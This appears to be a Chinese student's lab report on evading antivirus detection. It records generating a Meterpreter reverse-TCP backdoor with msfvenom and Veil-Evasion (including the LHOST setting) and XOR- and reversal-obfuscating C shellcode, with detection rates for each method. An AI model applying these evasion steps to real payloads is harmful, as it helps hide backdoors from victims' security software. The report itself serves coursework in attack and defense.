20145330 《网络攻防》 免杀原理与实践
20145330 《网络攻防》 免杀原理与实践
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 特征码:一段特征码就是一段或多段数据。
- 如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- 启发式恶意软件检测
- 根据些片面特征去推断。
- 通用性,不精确。
- 基于行为的恶意软件检测
- 修改文件硬盘、连接恶意网站、修改注册表
(2)免杀是做什么?
- 通过一些手段来瞒过杀软的检测扫描。避免被杀毒软件查杀。
(3)免杀的基本方法有哪些?
- 改变特征码
- 如果有exe可以加壳
- 有shellcode可以用encode进行编码
- 有源代码可以用veil-evasion进行重写再编译
- 改变行为
- 尽量使用反弹式连接、使用隧道技术
- 基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
二、实验总结体会
这次实验让我以一个攻击者的角度了解了免杀原理,通过一次次实践逐步体会知识。尝试各种方法发现还是可以避过很多杀毒软件的,这也让我意识到了安全系统的漏洞,以后在生活应用中一定多加注意,保护好自己的电脑。
三、离实战还缺些什么技术或步骤?
实战靶机不会乖乖被你植入一个后门程序,并没有这么理想的情况...可以这样肆无忌惮的多次尝试
本次实验是有稳定的局域网与ip,但在实战中这些都无法保证,难度就会大大加强。
四、实践过程记录
1. 基于特征码的改变来实现免杀
本次实验测试网址:http://www.virscan.org/
1.1 msfvenom直接生成meterpreter可执行文件并检测:
输入如下命令如下:
检测结果如下:
扫描结果:53%的杀软(21/39)报告发现病毒
1.2 Msfvenom使用编码器生成可执行文件
可以尝试多编码几次比如10次,理论上肯定比一次好些...但上课时老师说编码器可能就本身会被发现。
生成编码的可执行文件然后上传:
检测结果:
扫描结果:53%的杀软(21/39)报告发现病毒
与直接生成可执行文件的扫描结果是一样的...那就多编码几次试试,看看能不能好点,就试十次吧:在指令里加上i 10
检测结果:
扫描结果:53%的杀软(21/39)报告发现病毒
心塞..并没有什么变化,应该是编码器本身就能被查吧,所以这个方法并不够免杀。
2. Veil-Evasion生成可执行文件
从老师那下载的kali自带Veil-Evasion这个软件,命令行直接输入veil-evasion打开软件,然后在menu里输入命令生成可执行文件:
use python/meterpreter/rev_tcp
set LHOST 192.168.124.128
generate
5330-winmine
1
成功后就是下图中的样子:(生成的文件就在图中路径中.exe
文件在最后一层compiled中)
这个检测相比于上几次扫描真的进步了好多:扫描结果:25%的杀软(10/39)报告发现病毒
3. C语言调用Shellcode
算是半手工打造恶意软件
3.1 先使用命令生成一个c语言格式的Shellcode数组:
将以上代码从虚拟机里copy出来,用vc6.0(很多人是Microsoft Visual Studio 2013,只要能编译c的软件应该都可以吧)进行编译运行生成可执行文件:shellcode5330.cpp
在kali下打开msf监听进程,在靶机上运行shellcode5330.cpp可执行文件
VirSCAN.org检测结果如下:
扫描结果:12%的杀软(5/39)报告发现病毒。
360依然可以检测出来。
由此可以看出生成shellcode半手工打造比之前的msfvenom直接生成可执行文件要好多了,但仍被定义为病毒文件,还需要改改.....
3.2 修改shellcode——逆序
采取的原理是原有shellcode不变,只在VC6.0下对源代码进行修改。
先试试求其逆序,首尾对换,操作简单易实现,看看查杀结果再进一步分析。
求逆序并将其输出的代码为高其同学的代码。在vc6.0下执行(shellcode2.cpp)。
运行后扫描结果如下:
扫描结果:5%的杀软(2/39)报告发现病毒
3.3 进一步修改shellcode
再复杂变化些,将shellcode数组的奇数位与偶数位区别对待,分别做如下操作:
- 奇数位:亦或172,172101011000xAC
- 偶数位:亦或83,83010100110x53
这样可以保证shellcode数组中的每一个元素都发生了一半bit的变化,而且变化不尽相同,在一定程度上改变了原数组的内容,
shellcode3.cpp:依然参考了高其同学的代码。
检测结果:
扫描结果:5%的杀软(2/39)报告发现病毒,依然是上次检测出病毒的两枚软件...
但是我自己电脑上的杀毒软件并没有检测出病毒,也算尝试的比较成功了。
kali下msf监听成功:
获取权限: